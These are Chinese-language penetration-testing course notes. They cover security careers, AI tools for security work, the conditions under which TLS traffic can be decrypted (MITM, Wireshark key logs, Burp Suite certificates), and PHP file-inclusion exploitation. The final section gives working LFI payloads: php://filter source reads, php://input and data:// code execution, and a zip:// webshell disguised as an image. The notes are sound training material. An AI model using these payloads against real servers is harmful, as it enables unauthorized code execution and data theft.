渗透笔记总结

第一天

学安全的目的

就业

每年企业需求要变

ctf比赛 护网行动 实习

version user

1. 现在web漏洞 sql注入漏洞 dead ？ 预编译 预防sql注入 真的是100%防御吗？ 23 黑帽大会 协议层绕过 三层四层 https://www.youtube.com/watch?v=Tfg1B8u1yvE chrome-extension://blegnhaaimfcklgddeegngmanbnfopog/https://media.defcon.org/DEF%20CON%2032/DEF%20CON%2032%20presentations/DEF%20CON%2032%20-%20Paul%20Gerste%20-%20SQL%20Injection%20Isn%27t%20Dead%20Smuggling%20Queries%20at%20the%20Protocol%20Level.pdf

2. web漏洞 护网 整体基线检查 nulei 逐年减少 （信息收集能力） 前端加密 requestid timestramp cry

web前端逆向 加密函数-----> 解密函数 burpsuite autodecoder galaxy

1. 小程序 app 注意 抓包（app 双向证书绑定 绕过 app 模块 模拟器 真机 真机 nexus5） 前端 ------>后端服务器

2. 云安全-----> docker k8s 80%

AI

AI------>辅助安全

MCP 号称 自动化测试 自动化解题 kali nmap sqlmap

看代码 exp

claude code codex geminicli

claude opus4.5 codex gpt-5.2 gemini3pro glm-4.7 minimax2.1 我想编写一个程序 我想分析一段代码 我想复现一个漏洞 编写exp利用脚本

AI 模型微调 大而全的专业 垂直领域 获得更好的效果 医疗 法律 网络安全 农业 webshell识别

AI 视觉 自动 汽车 人 海洋垃圾 yolov

AI 会不会看X光 多模态 识别图和视频 Qwen-3-Vl

大模型 github

魔塔 阿里

第二天

https tls ssl 真的能被解密吗？ 可以解密 需要满足什么条件

要回答 "HTTPS/TLS/SSL 是否能被解密"，核心结论是：在满足特定技术或权限条件时，HTTPS/TLS/SSL 的加密流量可以被解密，但完全 "无条件破解" 在当前技术下几乎不可能。以下将从 "能否解密" 的本质、解密的核心条件、典型场景及安全边界展开详细说明。

一、先明确基础概念：HTTPS/TLS/SSL 的加密逻辑
首先要区分 "加密" 和 "解密" 的前提 ------HTTPS 的核心是通过TLS 协议（SSL 是 TLS 的早期版本，现已基本淘汰） 建立 "端到端加密通道"，其安全依赖两大核心机制：



握手阶段的密钥协商：客户端（如浏览器）与服务器通过 "非对称加密"（如 RSA、ECDHE）协商出一个临时的 "对称加密密钥"（如 AES）；
传输阶段的对称加密：后续所有 HTTP 数据都用这个临时对称密钥加密，而非对称加密仅用于 "协商密钥"（效率更高）。


这种设计的本质是：只有参与通信的 "客户端" 和 "服务器" 能获取临时对称密钥，其他第三方（如路由器、运营商）默认只能看到 "加密后的密文"。

二、HTTPS/TLS 能被解密的核心条件
解密的本质是 "获取通信中的临时对称密钥" 或 "绕过密钥验证"，需满足以下任一条件（或组合条件）：

条件 1：控制通信的 "一端"（客户端 / 服务器）
这是最直接、最合法的解密场景 ------ 因为 "端设备本身拥有密钥"：



控制服务器端：服务器作为密钥协商的参与方，会存储协商过程中用到的 "私钥"（如网站的 SSL 证书私钥）。若攻击者通过黑客手段（如服务器入侵、权限窃取）获取了服务器的私钥，即可：

伪装成服务器与客户端建立连接（中间人攻击的基础）；
拦截客户端与原服务器的加密流量后，用私钥解密 "密钥协商过程"，进而获取临时对称密钥，最终解密所有传输数据。
典型案例：2013 年 "Heartbleed 漏洞"（OpenSSL 漏洞），攻击者可利用漏洞窃取服务器内存中的私钥，进而解密 HTTPS 流量。
控制客户端：客户端（如用户的电脑、手机）在与服务器握手后，会在本地内存中存储临时对称密钥。若攻击者通过恶意软件（如木马、监控软件）控制客户端，即可：

直接读取客户端内存中的临时对称密钥；
拦截客户端发送 / 接收的加密数据，用密钥直接解密。
典型场景：企业内部对员工设备的合规监控（需提前告知，且合法授权）、恶意软件窃取用户浏览器缓存的密钥。
条件 2：实施 "中间人攻击（MITM）" 并获取信任
"中间人攻击" 是第三方插入客户端与服务器之间，伪装成 "客户端的服务器" 和 "服务器的客户端"，从而拦截并解密流量。但这种攻击需满足一个关键前提：让客户端信任中间人的 "伪造证书"。



具体流程与条件：



中间人拦截客户端发送给服务器的 "握手请求"，同时向服务器发起真实握手，获取服务器的合法证书；
中间人生成一张 "伪造的服务器证书"，并将其发送给客户端；
核心条件：客户端必须 "信任" 这张伪造证书（即伪造证书被加入客户端的 "受信任根证书列表"）；
若客户端信任，中间人即可与客户端、服务器分别建立两个加密通道，进而获取两端的临时对称密钥，实现流量解密。


典型合法场景：企业内网的 "代理服务器"（如蓝灯、WFilter），需员工设备提前安装企业的根证书，用于监控合规流量；浏览器插件（如 Fiddler、Charles）调试 HTTPS 接口时，需手动信任插件生成的根证书。
典型非法场景：公共 Wi-Fi 下的恶意 MITM 攻击，若用户误点 "信任证书" 弹窗，攻击者即可解密其微信、网银流量。
条件 3：利用协议漏洞或弱加密算法
TLS 协议并非完美，历史上出现过多个高危漏洞，或因 "弱加密算法" 导致加密被破解：



漏洞利用：如 2014 年的 "POODLE 漏洞"（利用 SSLv3 协议的设计缺陷，逐步破解密文）、2016 年的 "DROWN 漏洞"（通过 SSLv2 协议的兼容漏洞，破解 TLS 加密）；

弱算法 / 弱密钥：若服务器配置了 "弱对称加密算法"（如 DES，密钥长度仅 56 位，可被暴力破解）或 "弱非对称算法"（如 RSA-512，当前计算机可在几小时内破解），攻击者可通过暴力破解或数学攻击获取密钥。

注意：目前主流浏览器（Chrome、Edge）已强制禁用 SSLv3、TLS1.0/1.1，仅支持 TLS1.2/1.3，且默认使用 AES-256（对称）、RSA-2048/ECDHE（非对称）等强算法，这类漏洞 / 弱算法的影响已大幅降低。

条件 4：拥有 "合法监控权限"（如司法取证）
部分国家 / 地区的执法机构（如 FBI、警方）可依据法律程序，要求服务提供商（如谷歌、腾讯）或网络运营商提供 "解密后的 HTTPS 流量"：



方式 1：要求服务提供商直接提供用户的明文数据（因服务提供商本身拥有服务器私钥，可解密用户与服务器的通信）；

方式 2：通过 "lawful intercept（合法拦截）" 技术，在运营商网络中部署监控设备，结合服务商提供的密钥，解密特定用户的加密流量。

注意：这类操作需严格遵循法律程序（如法院传票），属于 "合法解密"，而非技术破解。

三、哪些情况 "无法解密"？
了解解密条件后，更需明确 HTTPS 的安全边界 ------ 以下情况几乎无法解密：



无服务器私钥 + 无客户端控制 + 无 MITM 信任 + 无漏洞：第三方（如普通黑客、运营商）仅拦截到加密流量，无任何上述条件，无法获取临时对称密钥，即使拥有超级计算机，也无法破解 AES-256、RSA-2048 等强加密（暴力破解需数亿年）；
使用 "前向保密（Forward Secrecy，FS）"：若服务器启用了 ECDHE 等支持 "前向保密" 的密钥协商算法，即使服务器私钥后续泄露，之前已传输的加密流量也无法被解密（因每次握手的临时对称密钥独立，且不依赖服务器私钥存储）；
TLS1.3 协议的强化：TLS1.3 删除了所有弱算法，简化握手流程，且默认启用前向保密，进一步降低了被破解的可能性。
四、总结：解密的核心逻辑与安全建议
解密的本质：不是 "破解加密算法"，而是 "获取密钥"（通过控制端设备、MITM 信任、漏洞、合法权限等方式）；
普通用户的安全边界：只要不随意信任未知证书、不使用公共 Wi-Fi 进行敏感操作（如网银转账）、保持系统 / 浏览器更新（修复漏洞），HTTPS 流量对第三方而言是 "安全不可解密" 的；
企业 / 开发者的建议：服务器需配置 TLS1.2+、启用前向保密、禁用弱算法，定期轮换私钥，避免私钥泄露。


综上，HTTPS/TLS 的 "可解密性" 完全依赖是否满足上述条件，在合规使用、算法强、无漏洞的前提下，其加密是当前互联网中最安全的传输方式之一。

中间人 能否解密tls 如果可以 需要满足什么条件

一、中间人解密 TLS 的核心逻辑
TLS 的 "端到端加密" 本应阻止第三方窥探，但中间人攻击的核心是打破 "端到端" 的信任链：
正常流程中，客户端仅信任服务器的 "合法 SSL 证书"（由权威 CA 机构签发）；而中间人会同时扮演两个角色 ------ 对客户端伪装成 "服务器"，对服务器伪装成 "客户端"，分别与两端建立独立的 TLS 加密通道。只要客户端认可中间人伪造的 "服务器身份"，中间人就能获取两端的临时对称密钥，进而解密所有传输数据。
二、中间人解密 TLS 必须满足的 3 个关键条件
条件 1：能 "拦截并篡改" 客户端与服务器的通信链路
中间人首先需要物理或逻辑上 "介入" 通信路径，确保客户端与服务器的所有数据（包括 TLS 握手的关键信息）都经过自己转发，且能修改数据内容。常见实现场景包括：
控制网络节点：如公共 Wi-Fi（攻击者搭建虚假热点，用户连接后所有流量经攻击者设备）、企业内网路由器 / 代理（合法监控场景）、运营商基站（特殊权限场景）；
篡改 DNS 解析：通过 DNS 劫持（如修改用户设备的 DNS 设置、污染 DNS 缓存），将 "服务器域名" 解析到中间人控制的 IP 地址，引导客户端先连接中间人；
ARP 欺骗：在局域网内伪造 ARP 响应，将服务器的 MAC 地址映射到中间人设备的 IP，让局域网内其他设备的流量误发送给中间人。
条件 2：能生成 "伪造的服务器证书"，且让客户端信任该证书
这是中间人解密 TLS 的核心瓶颈，也是 TLS 安全设计的关键防御点。具体需满足两步：
生成伪造证书：中间人需针对目标服务器（如www.baidu.com）生成一张 "伪造的 SSL 证书"------ 证书中的 "域名" 与真实服务器一致，但 "签发者""私钥" 均由中间人控制（本质是自签证书或用中间人自己的 CA 根证书签发）；
客户端信任伪造证书：TLS 握手时，服务器会向客户端发送合法证书，中间人会拦截该证书，并用自己的 "伪造证书" 替换后发给客户端。此时，只有客户端认为这张伪造证书 "可信"，才会继续完成握手（否则浏览器会弹出 "证书不安全" 的警告，用户若拒绝则攻击失败）。
客户端信任伪造证书的常见场景：
用户主动信任：用户看到 "证书风险" 弹窗后，因缺乏安全意识点击 "继续访问""信任该证书"（如公共 Wi-Fi 下的恶意攻击）；
提前植入根证书：中间人通过恶意软件（如木马）或合规操作（如企业 IT 管理），将自己的 "CA 根证书" 提前安装到客户端的 "受信任根证书列表" 中 ------ 此时客户端会默认信任该根证书签发的所有子证书（包括中间人伪造的服务器证书），不会弹出警告（典型场景：企业用代理监控员工 HTTPS 流量、调试工具如 Fiddler/Charles 配置时手动安装根证书）。
条件 3：能完成 "双向 TLS 握手"，获取两端的临时对称密钥
满足前两个条件后，中间人需完成 "双向伪装" 的握手流程，才能拿到解密所需的密钥：
与服务器建立真实 TLS 连接：中间人拦截客户端的握手请求后，以 "客户端" 身份向真实服务器发起 TLS 握手，获取服务器的合法证书并验证，最终协商出 "中间人 - 服务器" 之间的临时对称密钥 K1；
与客户端建立伪造 TLS 连接：中间人用自己的伪造证书，以 "服务器" 身份向客户端回应握手请求，客户端因信任伪造证书，会与中间人协商出 "客户端 - 中间人" 之间的临时对称密钥 K2；
流量转发与解密：后续客户端发送的加密数据（用 K2 加密），中间人用 K2 解密得到明文，再用 K1 加密后发给服务器；服务器返回的加密数据（用 K1 加密），中间人用 K1 解密后，再用 K2 加密发给客户端 ------ 整个过程中，中间人能完整获取明文流量。
三、中间人无法解密 TLS 的场景（防御点）
若不满足上述任一条件，中间人攻击会直接失败，无法解密 TLS：
客户端拒绝信任伪造证书：浏览器（如 Chrome、Edge）检测到证书未由权威 CA 签发、域名不匹配等问题时，会强制弹出红色警告，且默认禁止用户继续访问（需手动突破多层限制），此时握手无法完成；
无法拦截通信链路：若用户使用加密 VPN、5G 专网等，中间人无法介入通信路径，无法篡改或转发数据；
服务器启用 "证书绑定（Certificate Pinning）"：部分 APP（如支付宝、微信）会提前在代码中 "绑定" 服务器的合法证书指纹 ------ 只有指纹匹配的证书才会被信任，中间人伪造的证书即使被安装到系统根证书列表，也会被 APP 拒绝。

通信流量 是否可以被中间人解密（无条件 直接抓包 直接解密） 不能 为什么？

不能。核心原因在于 TLS 协议的两大设计机制，从 "密钥获取" 和 "身份验证" 两方面阻断了中间人 "无条件直接抓包解密" 的可能：

1. 密钥不传输，仅两端持有：TLS 通过 "非对称加密协商对称密钥"------ 客户端与服务器仅在握手阶段交换 "密钥协商参数"（而非密钥本身），最终生成的临时对称密钥（用于加密实际流量）仅存储在通信的两端设备中，不会随流量传输。中间人抓包只能拿到 "加密后的密文"，没有密钥就无法反向破解密文内容。

2. 证书信任机制拦截伪装：客户端仅认可 "权威 CA 机构签发的服务器证书"，以此验证服务器身份。中间人若想伪造身份获取密钥，必须用伪造证书欺骗客户端，但这类证书会被客户端识别为 "非信任来源"（如浏览器弹出红色警告），握手流程直接中断，无法推进到获取密钥、解密流量的环节。

wireshark 如何自动解密tls流量

• 配置环境变量（可选） 1：部分系统下需先设置环境变量SSLKEYLOGFILE来指定会话密钥日志文件的保存路径。在 Windows 系统中，可在环境变量设置页面添加该变量并设置路径；在 Linux 或 MAC OS X 系统中，可通过命令export SSLKEYLOGFILE=~/path/to/sslkeylog.log设置，若想每次启动系统时都指定该路径，可在.bashrc（Linux）或.MacOSX/environment（MAC OS X）文件中添加此命令。
• 配置浏览器以导出会话密钥 2：
  • Firefox ：在地址栏输入about:config?filter=sslkeylog，回车确认风险警告后继续。找到security.ssl.enable_tls_key_logging选项，双击将其值设为true，最后重启浏览器使更改生效。
  • Chrome ：启动命令行工具（Windows 系统的 CMD 或 PowerShell），运行带有--ssl-key-log-file参数的 chrome.exe 程序实例，如chrome.exe --ssl-key-log-file=C:\path\to\your\keys.log，需将路径替换为实际存在的目录。
• 设置 Wireshark 读取密钥日志2：打开 Wireshark 软件，依次点击 "Edit"→"Preferences" 进入全局偏好设定窗口。展开 "Protocols" 节点下的 "TLS" 子项目，在 "(Pre)-Master-Secret log filename" 字段中填入刚才生成的日志文件全名，点击 "OK" 保存设置。此时再加载含有 HTTPS 请求响应报文交换过程的抓包文件，就能看到明文形式展示的 HTTP 层负载信息。

burpsuite 作为中间人 可以解密 满足什么条件 才可以看到抓取的明文数据？

1. 客户端（如浏览器 / APP）信任 Burp 伪造的证书
TLS 原本通过 "服务器持有的合法 CA 证书" 验证身份，Burp 作为中间人，会伪造一份 "假的服务器证书" 发给客户端（替代真实服务器的证书）。
若客户端不认可这份伪造证书（如浏览器弹出 "不安全" 警告并阻断连接），TLS 握手会直接失败，Burp 无法获取后续加密流量。
因此必须让客户端 "信任" Burp 的证书：
对浏览器（Chrome/Firefox 等）：需手动将 Burp 生成的 "CA 根证书" 导入客户端的 "受信任根证书列表"（Burp 可通过 Proxy -> Options -> Import/Export CA Certificate 导出证书）。
对手机 APP：需在手机系统设置中 "安装并信任" Burp 的 CA 证书（部分安卓 /iOS 需开启 "信任用户证书" 权限）。
2. 客户端的流量被 "转发" 到 Burp（流量拦截生效）
Burp 需成为客户端与服务器之间的 "流量中转站"------ 客户端的所有 TLS 请求（如访问网站、APP 接口）必须先发送到 Burp，再由 Burp 转发给真实服务器；服务器的响应也需经 Burp 再返回客户端。
要实现这一转发，需配置客户端的 "代理设置"：
浏览器 / 电脑：在网络设置中指定 "HTTP 代理" 为 Burp 所在机器的 IP（如本地 127.0.0.1）和 Burp 默认代理端口（通常是 8080）。
手机：连接与 Burp 同局域网的网络，在 WLAN 设置中手动指定 "代理服务器" 为 Burp 的 IP 和端口。
若流量未经过 Burp（如客户端未配置代理、或部分 APP 强制走直连不支持代理），Burp 无法抓取到任何流量，更无法解密。
3. 目标 TLS 流量未启用 "防中间人保护机制"
部分场景下，即使满足前两个条件，Burp 也可能无法解密，需目标 TLS 流量未启用对抗中间人（MITM）的强化机制：
无 "证书固定（Certificate Pinning，证书绑定）"：部分 APP 会在代码中 "硬编码" 真实服务器的证书指纹，仅接受该指纹的证书 ------ 即使客户端信任 Burp 证书，APP 仍会识别出 Burp 的伪造证书并拒绝连接（需通过反编译 APP 移除证书固定逻辑才能破解）。
无 "TLS 1.3 严格模式 / 特殊加密套件限制"：极少数场景下，若服务器强制使用仅支持 "端到端" 的加密套件（如禁用 RSA 密钥交换、仅用 ECDHE 且绑定身份），或启用 TLS 1.3 的 "0-RTT" 等特殊模式且配置严格，可能导致 Burp 无法完成密钥协商（但绝大多数常规网站 / 接口不启用此类极端限制）。

第三，四天

文件的作用

1. 代码复用和模块化

// config.php
<?php
$db_host = 'localhost';
$db_user = 'root';
$db_pass = 'password';
$db_name = 'myapp';
?>
​
// 所有需要数据库连接的页面
require 'config.php';
$conn = mysqli_connect($db_host, $db_user, $db_pass, $db_name);

2. 配置文件管理

// config.php
<?php
$db_host = 'localhost';
$db_user = 'root';
$db_pass = 'password';
$db_name = 'myapp';
?>
​
// 所有需要数据库连接的页面
require 'config.php';
$conn = mysqli_connect($db_host, $db_user, $db_pass, $db_name);

3. 动态内容加载

// 根据用户选择加载不同模块
$page = $_GET['page'] ?? 'home';
​
switch($page) {
    case 'about':
        include 'pages/about.php';
        break;
    case 'contact':
        include 'pages/contact.php';
        break;
    default:
        include 'pages/home.php';
}

PHP伪协议利用

php://filter - 读取文件源码

作用 ：读取文件并进行编码转换，避免直接执行
适用条件 ：不受allow_url_fopen和allow_url_include限制基本用法：

php://filter/read=convert.base64-encode/resource=文件路径

读取当前目录文件：

?file=php://filter/read=convert.base64-encode/resource=flag.php

读取上级目录文件（使用多层符号链接）：

?file=php://filter/read=convert.base64-encode/resource=proc/self/root/proc/self/root/var/www/html/flag.php

php://input - 执行PHP代码

作用 ：读取POST原始数据作为PHP代码执行
条件 ：需要allow_url_include = On

示例：

POST /lfi.php?file=php://input
[POST DATA] <?php system('whoami'); ?>

data:// - 数据流协议

条件 ：双on（allow_url_fopen和allow_url_include都需开启）

用法：

?file=data://text/plain,<?php phpinfo(); ?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

zip:// - 压缩包包含

特点：

• 不受allow_url_*限制
• 需要绝对路径
• zip:// 需要定格才可以使用

利用步骤：

1. 创建包含恶意代码的文件：shell.txt
2. 压缩为ZIP：zip shell.zip shell.txt
3. 上传并重命名为图片：mv shell.zip shell.jpg
4. 包含利用：?file=zip:///var/www/html/uploads/shell.jpg%23shell.txt

compress.zlib:// - 临时文件利用

特殊用途 ：在LFI中创建临时文件
原理 ：使用compress.zlib://http://会在本地创建临时文件存储下载内容